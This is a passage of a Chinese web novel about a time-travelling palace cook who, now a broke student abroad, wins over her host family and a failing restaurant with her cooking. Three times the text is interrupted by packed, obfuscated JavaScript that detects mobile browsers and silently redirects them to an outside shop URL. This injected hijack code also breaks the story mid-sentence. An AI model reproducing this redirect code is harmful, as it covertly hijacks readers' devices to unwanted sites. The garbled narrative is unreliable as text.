吴美兰：【宁宁，公司破产了，你爸爸正忙着找人卖房子还债，抽不出时间接你的电话，你在外面好好上学，不用担心家里。】 吴美兰：【不过你留学的费用以后可能要自己赚了，这是妈妈身上所有的钱，全部都给你，你一定要照顾好自己。】 吴美兰：【微信红包】 破产？ 这么突然！？ 话本子里没有这个剧情啊！ 她的世界仿佛在这一瞬间轻轻地崩塌了一下。 倒不是为唐家的破产而震惊。 而是从这一刻起，她要面临一个十分严峻的问题： 人在北美，没有生活费！ 她低眸看向手机，颤着指尖点开两百元的红包。 已收款：104.49元。 唐宁：…… 还是太理想了。 根据今天的汇率换算成美元，刚好是15刀。 唐宁：…… 加上身上的10刀，连张回国的机票都买不起。 也就是说，她现在是一个资产比二百五还多一点的穷光蛋。 25刀。 给她砍成肉臊都够呛。 事已至此，发牢骚也没用。 她迅速让大脑冷静下来，细白的指尖飞快地在手机上划动。 Tang：【你们以后住哪儿？】 消息发送出去，瞬间变成红色感叹号，底下还缀着一行格外刺眼的文字。 消息已发出，但被对方拒收了。 唐宁：？ 所以。 她这算是被流放了吗？ …… 清晨，苏珊在一阵奇特的香味中醒来。 她昨晚嗨到半夜才回家，被香醒后，困得连眼睛都睁不开，正当她疑惑这是哪里来的味道时，突然想起祖母在为家里的小可怜学习如何做中餐。 她烦躁地甩开眼罩。 唐宁只是一个寄宿留学生，祖母怎么总是把自己当成是她的佣人？ 想到这，她就很生气，立马起床，换好衣服去了厨房。 厨房是开放式的，越走近，那股奇特的香味就愈发浓烈。 彼时，唐宁和贝内特太太正坐在餐桌上吃早餐。 苏珊看着她们碗里赤褐色的面条，不由得皱眉：“你们在吃什么？” 唐宁抬头看了她一眼，听着耳机里的翻译，不等她回答，贝内特太太已经开口：“这个美味的中式早餐，叫做葱油拌面。” 苏珊顿时气得炸毛：“祖母！你竟然为她点中餐外卖？” 她们所在的社区附近根本没有中餐厅，如果想吃中餐，必须坐公交或是开车十几分钟去市区，除非叫外卖，但外卖的价格却昂贵到令人发指。 根本不是寄宿家庭应该付出的。 然而贝内特太太只是淡淡瞥她一眼：“别天真了，外卖怎么可能如此美味？那种东西里没有魔法，只有大麻。” 苏珊：？ 什么魔法？什么大麻？ “别骗我了，不是外卖，家里怎么出现中国的面条？” 她可不相信祖母只用一天时间就能学会制作面条。 贝内特太太：“当然是宁亲手做的了。” “什么？”苏珊一脸不可思议，“别开玩笑了，她瘦弱得就像农场里营养不良的小羊羔……” 话还没说完，就看见唐宁已经吃完碗里的面条，走进厨房。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126890|196118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 接着打开灶台开始烧水，然后洗干净手，从流理台上一块白布底下取出一块面团，撒上薄薄一层面粉，擀平，折叠，切开，十指一撑一拉，用力摔打几下，就成了粗细均匀的面条。 苏珊：……？ 把面条丢进煮开的锅里，唐宁从橱柜里拿出一只碗，等面条熟了盛出来，过凉，又打开另一只热气腾腾的小锅。 锅盖掀开的一瞬间，唤醒苏珊的那股奇特香味扑鼻而来。 只见唐宁从小锅里舀出一勺黑乎乎的酱汁，宛若女巫的汤，淋在面条上，用筷子搅拌均匀后，端出来放在餐桌上。 “你们慢慢吃，我先去学校了。” 唐宁知道苏珊不待见她，所以不会热脸贴冷屁股，但她需要遵守使用厨房的规则。 说完，她就背包出门了。 可在苏珊看来，唐宁就是在赤裸裸地无视她，原本被这浓郁的香味勾起的馋虫，瞬间被她掐死在胃里。 “苏珊，你还站在那里做什么？”贝内特太太招呼着孙女，“快来尝尝，宁说趁热吃才好吃。” 苏珊扭头走向厨房，“我才不吃她做的早餐，又黄又黑，看起来就难吃得要命。” 贝内特太太：…… 如果这都能被称作是难吃，那么她就要怀疑苏珊是不是背着自己嗑药了，以至于味觉嗅觉都失灵了。 “奶奶，冰箱里那个好吃的披萨面包还有吗？” 苏珊把头埋在冰箱里，不停地翻找。 昨晚回来肚子太饿了，原本还想冲碗麦片，去冰箱拿牛奶的时候，居然发现有几块披萨不像披萨，面包不像面包的食物，闻起来倒是很不错，便靠着冰箱门咬了几口。 一口下去，好吃得让她想尖叫！ 她从来没吃过那么美味的披萨面包，一口气连着吃掉了四块！ “什么披萨面包？”贝内特太太问道。 “就是那个有馅料的面包，里面有鸡肉和蘑菇，还有一种里面是甜甜的芝麻糖片，冰冰脆脆的，非常特别。” 贝内特太太：…… “我说怎么不见了，原来是被你吃掉了。” 苏珊回头，一脸失望：“没有了吗？您是在哪里买的？我现在开车再去买点回来，那个简直太好吃了，我从来没吃到过那么特别的披萨面包。” 贝内特神情复杂地盯着她。 苏珊：？ “怎么了，奶奶？” “那不是披萨面包。” “什么？” 贝内特太太微笑，“那是宁做的鸡肉蘑菇馅饼和芝麻糖饼。” 苏珊：…… 怎，怎么可能！？ 贝内特太太无奈的看她一眼，“别耍小孩子脾气了，来尝尝宁做的面条，比馅饼还要好吃。” 原本苏珊是想拒绝的，她不相信唐宁能做出如此美味的食物，但一想到披萨面包的味道，嘴巴里的口水就开始不停分泌，再看桌上还冒着热气的面条…… 虽然看起来仍然不像是好吃的样子，但那存在感极强的葱油香味不断地往她高挺的鼻子里飘，鬼使神差的，她坐在了餐桌旁。 好吧。 既然祖母都这么说了，她倒要看看，究竟是不是在骗她？ 苏珊拿起叉子，卷起几根面条放进嘴里。 煮得爽滑弹牙的面条，根根分明，带着恰到好处的韧劲儿，不仅挂着酱汁的美妙滋味，还有一股丰腴的油脂香，偶尔咬到一片酥脆的葱段，“咔嚓”一声，有种绝妙的口感，像是给味蕾放了一场烟花，咸鲜回甜的酱香在舌尖化开，焦香迸发，直冲颅顶。 苏珊：！ “哦，我的上帝啊。” 过去二十年，她都吃的什么鬼东西！？ 5. 粢饭团 唐宁不会开车，只能坐公交车。 痛失三美元后下了车，她迈着沉重的步伐走进学校。 讲台上教授叽里呱啦地依旧不知道在说什么，底下学生开着电脑，看似认真，其实做什么的都有，甚至有位男同学看片中途耳机断连了，导致整间教室诡异地安静了十几秒钟。 唐宁面无表情地坐在最后排，对此毫无知觉。 她脸上没有半点先前的焦虑和茫然，而是陷入了一种虱多不痒的深沉。 一年六万刀的学费，每月三千刀的寄宿费，两千刀的生活费，以及各种教材费交通费等等一系列的开销。 期间还要保证自己不能生病。 就算生病，也绝不能再叫救护车！ 身上只剩22美元，最多就只能用来坐7次公交。 半个月后，她就要因为交不起房租，跟流浪汉一起抢纸壳睡大街了。 唐宁儿时家里是开酒楼的，从小就没吃过学厨以外的苦，即便家里遭了灾，爹娘去世，她被迫进宫当厨子，因着厨艺不错，也受到不少各宫娘娘的赏赐。 除去平日里的打点孝敬，攒下来的小金库也足以在皇城脚下买个三进的宅子。 故而她活了小半辈子，还是第一次这么捉襟见肘。 一下课，唐宁关掉课堂录音笔，揣着兜里的22块钱，来到了学生服务中心。 “你好，我想申请助学贷款。” “抱歉，你不符合贷款条件。” “……” “你好，请问食堂还招服务生吗？” “很遗憾你来晚了，距离招聘期限已经过去一个月了。” “……” 恰逢此时，唐宁听到耳机里传来一段乱入的翻译： “丽萨，听说你想要申请学校食堂的档口，如果你愿意的话，我可以替你直接向管理会举荐你。” 坐在圆桌旁的丽萨正填写着申请资料，负责校园餐饮服务的经理坐了过去，一只毛乎乎的手搭在她的肩膀上。 丽萨有些不适，跟经理拉开一点距离。 她不需要经理的举荐，但也不敢轻易得罪他，于是笑着转移了话题。 唐宁听了几句，迟疑片刻，走了过去：“打扰一下，我无意间听到你要开设新的食堂档口，请问需要中餐厨师吗？” 听到翻译器里的声音，丽萨和经理同时转头看向唐宁。 “厨师？是指你自己吗？” 丽萨一头热烈的棕红色头发，显得她脸上惊讶的情绪愈发浓烈。 唐宁目光平静：“是的。” 话音落下，一旁的经理哈哈大笑起来，“你是中国留学生吧？” 唐宁点头。 经理看起来三十多岁，发量极具英国特色，说话时鼻孔朝上，语气嘲讽：“哈斯顿大学有三个主食堂，近五十个档口，除此之外还有十多家主题餐厅，包含法国菜，地中海菜，墨西哥菜，意大利菜，甚至日式料理，除了中餐以外，可以说是应有尽有，你知道为什么吗？” 唐宁没说话。 经理面露挑衅：“因为我们从不吃猪食哈哈哈哈哈。” 随着耳机里的机械音结束，唐宁眸底透出点寒意。 显然。 这位经理是个病入膏肓的种族歧视者。 唐宁一言不发背起书包准备离开，丽萨见她低垂的睫毛隐隐有些发颤，不知是因为委屈还是生气，心里有些不舒服，拧着眉看向经理，“够了，强尼，你这么说实在是太过分了。” 强尼不以为意，甚至见唐宁要走，还要叫住她：“嘿，小妞，怎么逃跑了？我说的难道不是事实吗？听说吃猪食的人都会功夫，不服气的话可以来揍我啊，弱小的眯眯眼。” 他嗓音粗犷，音量不小，服务中心有不少学生都看了过来。 唐宁身无分文，不想惹事。 但…… 她倏地停住脚步，转过身来看向他，漆黑的瞳孔深不见底。 “你确定吗？如果这是你的愿望，我可以满足你。” 强尼顿了一下，笑得更大声了，对其他人说道：“你们听见了吗？她居然觉得自己能打得过我。” 他身高一八五，体重一百九，仗着自己巨大的体型，根本没仿如蚂蚁一般的唐宁放在眼里，悠闲地靠在沙发上，举起一只拳头朝她挥了挥。 “你是认真的吗？小妞，我可是泰森的拳……呃啊！！！” “强尼！” “我的上帝啊！发生了什么？” 前一秒还在大言不惭的彪形壮汉，下一秒就在众目睽睽下，被柔弱的中国女孩单手从沙发上拎了起来，反手摔在了地上。 全程不到两秒。 唐宁单膝抵在强尼的脊骨上，一手按着他的头，一手牵制他另只手，神色淡漠：“蝍蛆甘带，鸱鸦嗜鼠，本不必相较。但我认为，你还不如一只虫子会吃。” 强尼听不懂她在说什么，脸被亲密接触的地板挤得变了形，即便嘴里骂得再脏，也变成了叽里咕噜地喷口水。 周遭已经有人拿出手机拍下了这一幕。 如此精彩的场景，放在油管上肯定能爆火，只不过可惜没拍到开头那一下子。 简直帅爆了！ 教训完出言不逊的外邦人，唐宁心底的那股火气和郁闷稍微消散一些，同时感慨几千年后的现代社会真好，她再也不用像在宫里一样，被人欺负就只能忍气吞声。 她可以用力地打回去。 不会再有人动辄砍她的脑袋。 甩开对方碗口粗却软绵无力的手臂，唐宁起身朝大门走去。 身后有人不停发出夸张的尖叫声：“噢，我的上帝，是拆尼斯坤夫！” 唐宁：…… 别瞎说。 那不是功夫。 只是她力气比寻常人大那么亿点点而已！ 无人在意趴在地上的强尼，丽萨和其他人一样，望着唐宁潇洒离去的背影，眼里充满了震惊和崇拜。 强尼默默从地上爬起来，脸上满是恼羞成怒的狠戾。 “法克！” …… 进行完热身运动，唐宁肚子有些饿了，于是乘电梯去了顶楼的休息室。 中午时间紧，下午一点就要上课，回住所吃饭睡觉再回学校太折腾，即便不嫌折腾，她现在的余额也支撑不了巨额的交通费。 休息室里有沙发，有躺椅，还有微波炉和饮用水，可以吃自带的午餐，短暂休息一下。 校园卡还有无限次自助餐的餐刷，但不到迫不得已，唐宁暂时不想碰食堂的饭，上午做早餐的时候，顺便就把午餐也提前准备好了。 贝内特太太中午跟人有约，于是她只给苏珊留下一份，其余两份都自己带到了学校。 反正吃不完下午还可以加餐。 倒了一杯透心凉的水，唐宁找到一个僻静的角落，从包里拿出饭盒，打开盖子，里面躺着两只圆滚滚的粢饭团。 以前在贵人身边当值的太监和侍女，饭点是吃不上饭的。 尤其是资历尚浅的，伺候完主子，还要伺候管事。 忙前忙后的，有时耽搁了，再去吃饭已经不剩什么吃食了，只能硬生生挨一天饿，等晚食的时候再吃。 后来唐宁看她们可怜，做了些力工们经常吃的粢饭团给她们。 蒸得香糯弹牙的糯米里，放些腌菜、馃子、腊肉等馅料，有些还会加些芝麻、肉绒、黄豆粉，端看当天膳房里有什么。 空闲时从油纸包里拿出来咬上一口，既有滋味，又能果腹。 因此，唐宁在宫女太监们中十分吃得开。 宫中有什么风吹草动，她都能得到第一手消息，譬如今日哪个贵人因天气炎热胃口不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126891|196118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好，明日哪个娘娘受了气胸中躁郁，她都可随机调整膳食口味，因此获得了许多褒奖和赏赐。 这也是唐宁的小金库格外丰盈的重要原因之一。 不到十月的天气没那么冷，微波炉还在排队，唐宁懒得加热，直接撕开保鲜膜，一阵清淡的糯米香飘荡出来，隐约还透出一丝火腿的肉香、腌豆角的激酸、花生米的油香…… “咕噜噜——” “？” 听到有人肚子响，唐宁下意识抬头，恰好对上一双通红的兔子眼，睫毛上挂着晶莹的泪珠，白得发光的脸颊微微泛红，显然是哭过。 她记得…… 对面沙发好像没人啊。 怎么突然冒出来一个棕红色头发的胖女孩？ 假设她一开始就在这里的话，这存在感未免也太低了吧。 见唐宁在看自己，胖女孩连忙把视线从她手里的饭团上转开，继续把头埋进臂弯里，没有要跟她交流的意思。 唐宁奇怪地看她一眼，也没说什么，径自咬了一口手里的粢饭团。 “咕噜噜——” 唐宁抬眼，女孩没抬头，她又咬了一口，慢慢地嚼。 “咕噜噜噜噜——” “……” 女孩似乎也觉得尴尬，慌忙放下一只手死死按住自己的肚子，试图不再让它发出声响。 唐宁迟疑一瞬，打开翻译器，走到她面前，“你需要帮助吗？” 女孩身子一僵，慢慢地露出两只眼睛，声若蚊蝇道：“对不起，我吵到你了吗？我马上离开这里。” 说着，就要起身。 唐宁还没听完翻译，就意识到对方误会了。 “不，我只是觉得你应该是饿了，我还有一个饭团，如果你不介意的话，可以先垫垫。下午还要上课，饿着肚子可不行。” 她拉起女孩的手，把另一只没开封的饭团放在她的手心。 巴掌大的粢饭团在女孩手里变得可爱至极，保鲜膜下每一颗米粒都晶莹饱满，散发着让人迫不及待想要咬一口的诱人光泽。 明明只是一个普通的饭团，看起来却很好吃的样子。 女孩恍然回神，再抬起头时，见送她饭团的中国女孩已经吃完午餐，离开了休息室。 …… 丽萨填完申请表，走进顶楼休息室。 一进去就发现妹妹背对着她缩在角落里，肩膀微微颤抖，于是立马跑过去抱住她，“莉莉，不要担心，我已经提交申请，让爸爸关掉餐厅，去学校食堂里工作了，你不用再饿着自己……” 说到一半，发现怀里的莉莉眼眶虽然红红的，但眼睛却亮晶晶的，腮帮子像一只秋天的松鼠一样，鼓得满满的，手里还捧着一个五颜六色的饭团，传来一阵香味。 一问才知，是一位中国女孩送的。 “所以，你是被这个饭团好吃哭了吗？” 莉莉羞涩地点点头。 丽萨：…… 莉莉从小性格绵软，更因为体型偏胖，经常受到同学的欺负，因此也变得越来越自卑，哪怕上大学，也不敢去离家太远的地方。 可她居然会接受一个陌生人的食物。 丽萨若有所思地盯着她手里的饭团，甚至还凑过去闻了闻，闻到香味的一瞬间，情不自禁地咽了下口水。 她忽然理解了。 只不过是一个饭团而已，这也太香了吧！ 丽萨忽然想到什么，问：“莉莉，你还记得那个中国女孩什么样子吗？” 莉莉点头。 “黑色长发，眼睛很大，笑起来很好看，背着墨绿色的书包。” 墨绿色的书包。 是那个会中国功夫的女孩！ 丽萨神色变得激动起来，一下抱住自己的妹妹。 “莉莉，我想到一个主意，爸爸的餐厅不用关门了！” 6. 苍蝇馆子 经过漫长的五十分钟课程，唐宁整个人仿佛被掏空，眼睛里已经没有了光。 学校餐厅不缺服务员，食堂也不缺厨师，去附近街道做服务员的话，她的英文太烂，几乎没有被聘用的可能。 其他工作就更不用说了。 思来想去，唯一能够让她生存下去的技能，也就只有做菜了。 下午的全部课程已经上完了，她打算用剩下的钱坐地铁去唐人街碰碰运气。 想得太入神，一走出教室门，就不小心撞到了人。 “抱歉，你没事吧？” 唐宁忙从对方怀里退出来，打量对方有没有受伤，“诶，是你呀？” 莉莉比唐宁高出一个头，体型是她的两倍，即便被撞一下，也几乎不会受伤，反倒是唐宁撞上她的时候，被软乎乎的身体弹了一下，要不是莉莉抱住她，她可能会被反弹出去。 “对不起，是我没来得及躲开，你没受伤吧？” “哪有那么夸张，我又不是纸糊的。”唐宁摆摆手，“你怎么会在这？” 莉莉伸出圆手指了一下教室，“我也上托马斯教授的课。” 唐宁：？ “你是说，你也是学市场营销的？” 莉莉点头。 唐宁：“你……几年级？” “我是新生。” “那你叫什么名字？” “莉莉·凯耶” 唐宁：…… 哈斯顿大学跟美国所有大学一样，没有班级的概念，同学之间的交际全靠小组作业，学校社团，以及宿舍小团体等方式来建立。 所以，开学一个月过去，既没参加任何社团也不住校的唐宁，跟同学基本不熟。 但大概也能认出几个具有特征的熟脸。 可眼前的莉莉，棕红色的头发微微卷起，可爱得就像只毛茸茸的巨型垂耳兔，按理说她多少也该有点印象，却好像是第一天见到她。 回想起在休息室时，她也没第一时间发现对方，顿时释然了。 真是令人惊叹的存在感。 “我叫唐宁，你可以直接叫我宁，很高兴认识你，莉莉。” 唐宁友好地朝莉莉伸出手，莉莉却浑身一僵，瞪圆双眼，一脸震惊地看着她。 唐宁不明所以，看她的反应，还以为美利坚握手犯法，正想把手收回来，指尖忽然被两根圆润温暖的手指捏住，小心翼翼的，生怕捏痛她似的。 “我也很高兴认识你，宁，你是第一个愿意跟我握手的朋友。” 莉莉说话声音很小，软绵绵的。 翻译器没有识别，但唐宁听懂了。 她笑了笑，“你也是第一个跟我握手的朋友。” 在她那个朝代，人与人之间不会握手，通常是作揖。 唐宁也是看电视剧才学会的这个时代的礼节。 “太好啦，莉莉，你有新朋友了！” 突然，一位跟莉莉有着同款棕红发色的女生出现，一脸激动地对唐宁道：“嘿，功夫女孩，还记得我吗？我们在学生服务中心见过，我是莉莉的姐姐丽萨·凯耶，是一名心理辅导员。” 唐宁怔了一瞬，显然没想到两人居然是姐妹。 还真是巧。 “你好，丽萨。” “对了，谢谢你中午的饭团，我从来没吃过那么好吃的糯米饭团！是你亲手做的吗？” “是的，你们喜欢就好。” “太好了，这么说，你答应来我们餐厅做主厨啦？” 唐宁：？ 什么餐厅？ 什么主厨？ 她什么时候答应的？ 见唐宁一脸懵，丽萨转头看向莉莉，“你还没跟她说吗？” 莉莉无辜地摇了摇头。 “看来是我误会了。”丽萨一脸歉意地朝唐宁笑了笑。 接着，她解释道：“我家是开中餐厅的，就在梅里路28号，距离学校两条街，但因为我爸爸厨艺太糟糕，餐厅没有营业额，马上就快要关门了。” “我原本想替爸爸申请一份学校食堂的工作，但我亲眼目睹了强尼丢脸的过程，所以他恐怕不会让这个机会落在我身上，我很颓丧，直到听莉莉说，你给了她一个美味的饭团！” “我记得你在服务中心说，想找一个厨师的工作。” “所以我想请你来我家餐厅，你觉得怎么样？” 唐宁迟疑地看了姐妹俩一眼。 “中餐？” “没错！” 唐宁：…… 不是她想得多。 姐妹俩的脸一个比一个白，在阳光底下近乎发光，加上高挺的鼻梁，浅棕色的眼，怎么看都是典型的美式长相。 开中餐厅的？ 一点说服力都没有。 不会是骗子吧？！ …… 十五分钟后。 丽萨的小汽车载着唐宁和莉莉驶出校园，开进一条人迹罕至的商业街。 街上有不少披萨店、汉堡店、牛排店、甚至咖啡厅和酒吧，可惜光顾的人寥寥无几。 或许因为现在是星期四下午三点半吧。 唐宁这么安慰自己。 停好车后，三人下车，丽萨和莉莉朝着一条漆黑幽深的街道走去，唐宁一抬眼，发现头顶的电线杆上，还挂着一排饱经风霜的破鞋。 emmmm…… 现在逃跑还来得及吗？ 似是察觉到唐宁的犹疑，丽萨回头解释道：“别担心，宁，这些鞋并不是毒贩和□□挂上去的，只是毕业大学生的一种仪式，这条街很安全。” 话音刚落，一个戴着绿色棒球帽的黑人小哥不知从哪儿窜出来，凑到唐宁面前，搓着巧克力色的手指，鬼鬼祟祟道：“要不要来点？” 唐宁：…… 她默默转头看向丽萨。 安全？ 丽萨顿时一个飞身过来，踹在黑人小哥的屁股上。 “马丁，再敢吓唬我的朋友，就休想再蹭我家的饭！” “开个玩笑嘛，甜心，别太认真。” 黑人小哥露出一口大白牙，举手投降，而后笑嘻嘻地回到货车上，绝尘而去。 丽萨翻了个白眼，对唐宁道：“他是隔壁杂货店的送货员，人不坏，就有点贱，喜欢吓唬女孩，你可以不用理他。” 原来如此。 唐宁点点头，跟上她们的脚步。 路过废弃的沙发，她随手抽了根钢管塞进袖子里，三个人一起来到街道最里侧的位置。 “到了，这就是我家餐厅。” 极具现代风格的大落地窗，画满涂鸦的白墙，树皮制作的木门，纯黑色的招牌，彩色的氛围灯，烫金的字体，写着令人亲切又陌生的三个汉字。 醉仙楼。 唐宁视线落在招牌上，久久不能回神，内心油然而生出一种极度荒谬的违和感。 走进餐厅，八十平米不到的空间，一眼就能看见厨房，门帘用的是深蓝色的扎染布，上面印着一个斗大的油手印，大堂里的桌椅板凳都是木质的，油光锃亮的，像是包了浆。 假如忽略在桌底下四处乱窜的杰瑞和吕布，整体看起来，还挺有国内古镇餐厅那味儿的。 唐宁却两眼一黑。 这要是在宫里，膳房脏成这样，负责洒扫的太监可是要被拖出去杀头的！ “爸爸？” 听见呼喊声，一位穿着围裙的中年男人从厨房里走了出来，整个人灰扑扑的，像一只大号龙猫。 丽萨上前跟男人介绍唐宁的身份，并且说明了情况。 男人听完后，不可思议地看向唐宁，“开什么玩笑，她看起来……就像一个没成年的高中生，怎么可能是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“当然不是。”戴维说话时，英文中掺杂了两句蹩脚的中文，“你们中国有句古话，叫‘酒香不怕巷子深’，我找了好几个街区，才好不容易找到这种‘深不可测’的小巷子。” 唐宁：…… “深不可测”是这么用的吗？ “酒香不怕巷子深”的重点，难道不是酒香吗？ 谁家好人开店特意找这么个鸟不拉屎的地方！ 唐宁不自觉看向安静的莉莉，眼神分明在说，你学的不是市场营销的吗？这么基本的道理，怎么不告诉你爸爸？ 莉莉秒懂，小声辩解：“我是新生。” 唐宁：…… 好吧。 “第二个问题。” 她揉了下眉心，“你没有请服务生和清洁工吗？从窗户外面就能看到里面脏兮兮的桌椅板凳，这样的餐厅，顾客是不会愿意走进来的。” 戴维皱了下眉头，“你不是中国人吗，怎么连这个都不懂？” 唐宁：？ 戴维：“最美味的食物往往都在苍蝇馆子里，这些桌椅板凳都是我特意花高价从二手市场里找来的，如果不包浆，我还不要呢。” 唐宁：…… 不是。 他对苍蝇馆子究竟有什么误解？ 如果不是因为在学生服务中心暴揍强尼，间接导致丽萨失去申请食堂档口的机会，她绝对不会来这种地方找工作！ 当然，也有山穷水尽想赌一把的成分。 可看到眼前的光景，她只想给向戴维灌输这种莫名其妙想法的人梆梆两拳。 唐宁深吸一口气，直接掀开门帘走进厨房。 还好，厨房倒是很干净。 见状，戴维想要拦住她：“嘿，中国女孩，你怎么能随便进入一家餐厅的后厨？” 原本以为唐宁得知餐厅如此糟糕的情况，会转身就走，正当丽萨心灰意冷时，见她一言不发走进厨房，瞬间心领神会，一把拉住自家老爹。 “爸爸，我劝你不要进去打扰她，她会中国功夫。” “……” “除此之外，她还是一名优秀的厨师！” 7. 扬州炒饭 餐厅主营各种炒菜和米饭。 现点现做。 米饭是一早就蒸好的，由于一直没有顾客，被戴维放进了冰箱。 这样的米饭复热会变得很难吃，用来炒饭却再适合不过。 冰箱里还有一罐雪白的猪油，唐宁只是轻轻闻了一下，就果断连油带罐一起丢了回去。 不怪她嫌弃。 没劁过的猪，实在是太骚了。 简单熟悉完厨房后，开始起锅烧油。 她将鸡蛋打散，等油热，一边高而缓地淋入蛋液，一边迅速搅散，待蛋液经过大火炒制凝固成细丝状，再将打散的米饭下锅。 在不断的颠锅翻炒中，蛋丝零零碎碎地分布在米饭当中，只需要简单的调味，猛火炒三分钟，一盘色香味俱全的碎金饭出锅。 一转眼，见厨房门口露出三颗头。 按规矩来讲，厨师做菜时，是很忌讳有闲杂人等出现在身旁的。 一来是嫌人碍手碍脚，不安全。 二来是怕有人偷师。 故而在意识到唐宁是想施展厨艺后，戴维即便好奇，也没擅自踏入厨房。 可随着一阵扑鼻的香味传来，莉莉率先忍不住把脑袋探进了厨房，丽萨紧随其后，戴维见状，忍了又忍，还是没忍住，跟两个女儿一起扒在厨房门口。 实在是不能怪他。 这味道实在是太美妙了！ 哪怕多闻几下都足以令人魂牵梦萦。 唐宁被他们脑袋叠着脑袋的样子可爱到了，不禁弯了下唇，却没急着把炒好的饭端出去。 重新起锅，烧油。 这次她没有先炒蛋，而是先把饭倒进锅里，纤细的手腕相互配合，一个颠一个炒，不断挥舞，直到米饭变得油润干香，再淋入搅散的蛋液，经过大火翻炒，每一颗米饭都裹上了一层金黄的外衣，看上去金灿灿的，颇有“满城尽带黄金甲”的气势。 依旧三分钟，一盘金包银也出锅了。 唐宁将两盘炒饭一起端了出去。 莉莉渴望的眼神紧紧随着炒饭移动，手里的饭勺蠢蠢欲动，随时准备上千蒯上一大勺，塞进嘴里。 就连一向沉稳的丽萨，都忍不住咽了下口水。 戴维更不用说了。 他厨艺虽然很一般，但品鉴能力还是挺不错的。 光是唐宁在厨房里将鸡蛋和米粒颠出海啸的气势时，他就已经大为震撼了，直到饭都已经炒好了，他还没从那股的震撼中走出来。 “尝尝吧。” 唐宁的话刚落，一只白白胖胖的手就迅速伸了过来，莉莉炫了一大口炒饭，才咀嚼了几下，脸上就露出十分享受的表情。 丽萨体贴地给唐宁倒了一杯水，才坐回椅子上，拿起勺子跟莉莉一起炫饭。 等戴维回过神来时，见两个女儿炫饭的速度一个比一个快，不消片刻，两盘满满当当的炒饭都各自消失了一半。 “嘿，给我留点。” 他赶忙拿起勺子，先是舀了一勺碎金饭。 鸡蛋细碎如金丝，饭粒洁净如白玉。 放进嘴里一嚼，浓郁的蛋香和油润的米粒相结合，迸发出不可思议的美味，仿佛置身于一片即将丰收的稻田，脚边不时有几只黄噗噗的小鸡崽，排着队溜达进胃里。 “天呐，这也太神奇了！” 不过是一盘简单的炒饭，怎么跟他炒出来的味道和口感完全不一样？！ 不等他仔细探究，另一盘炒饭眼看就要见底，他连忙从大女儿嘴下抢到一口，还挨了一记白眼。 戴维顾不上伤心，只瞬间瞪大双眼，回味着嘴里的余香，感觉世界都崩塌了。 明明都是用鸡蛋炒出来的米饭，但两种炒饭吃起来又有种天差地别的感觉！ 比起碎金饭，金包银更加粒粒分明，入口后先是鸡蛋恰到好处的淡香，衬得干香的米饭油润清甜，越嚼越有滋味。 “你究竟对这两盘炒饭做了什么？！” 戴维看唐宁的眼神瞬间变了。 就像是在森林里迷路的人，身体被雨水淋得湿漉漉的，手里攥着一把干草，却怎么也生不起火。突然，有个精灵出现，打了一下响指，面前就燃起了一个热烘烘的篝火。 唐宁安静地抿着水，并没有回答他的问题。 她虽在京城出生，祖籍却是扬州。 当她长到灶台高的时候，学会的第一道美食，就是扬州炒饭。 扬州炒饭不仅包含碎金饭和金包银，还有加入各种其他食材的荤炒饭，三鲜炒饭，青菜炒饭等等。 每一种都需要确保食材之间能够相辅相成，形成独树一帜的美味。 换句话来说，炒饭也是最能考验一个厨师基本功的东西。 无需多言，唐宁已经证明了自己作为厨师的实力，剩下的就不在她能抉择的范围内了。 “爸爸，你还在傻愣愣的在干什么？” 丽萨咽下最后一口饭，还没来得及收起脸上的意犹未尽，便迫不及待地催促戴维马上聘用唐宁。 被丽萨这么一喊，戴维才意识到自己的失态。 他看着眼前气质沉静的中国女孩，又看了看桌上空空如也的盘子，心里似乎莫名燃起了一团火焰。 是的，没错。 原本要倒闭的餐厅有救了。 他还在等什么呢？ “唐……唐小姐。”戴维清了清嗓子，努力让自己的声音听起来郑重些，“你的厨艺，我已经见识到了，简直比我曾经的师傅还要厉害。我想我的餐厅，需要的就是你这样的天才厨师。” “如果你愿意的话，我希望正式聘请你作为我们餐厅的主厨。至于薪水方面……”他搓了搓手，神情有些局促，眼神却热切，“餐厅的生意……你也看到了，可能给不了顶级餐厅那么高的待遇，但我相信你的存在一定会让情况好转，所以我决定，将餐厅一半的收益作为你的薪水！” 一半？ 听起来的确不错。 她既不用购买店面，也不用投入资金，对她来说，基本就是无本万利的买卖。 唐宁没想到戴维会如此大方，仔细想了想，分成虽说有一定的风险，但只要能把餐厅营业额拉上去，总是比固定薪水上限要高得多。 这正是唐宁迫切所需的。 况且，她对自己的厨艺有信心。 唐宁放下水杯，杯底与桌面轻轻磕碰，发出清脆的声响，她抬起眼，目光平静地扫过戴维因紧张而微微涨红的脸，又掠过丽萨和莉莉亮晶晶的眼。 “感谢您的认可，凯耶先生。” 她声音温和，“我很乐意接受这份工作，不过，我有两个条件 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莉莉并不关心餐厅如何，她脸上满是憧憬：“这么说，周末我们就可以吃到美味的中国菜了，就像是视频里那种……大大的，有很多酱汁的肉块，或者是咕嘟咕嘟，有白色小方块的香喷喷的鱼汤？” “你说的大概是红烧肉和鱼豆腐汤？这些以后我都可以做给你吃。” “耶，太好了！” 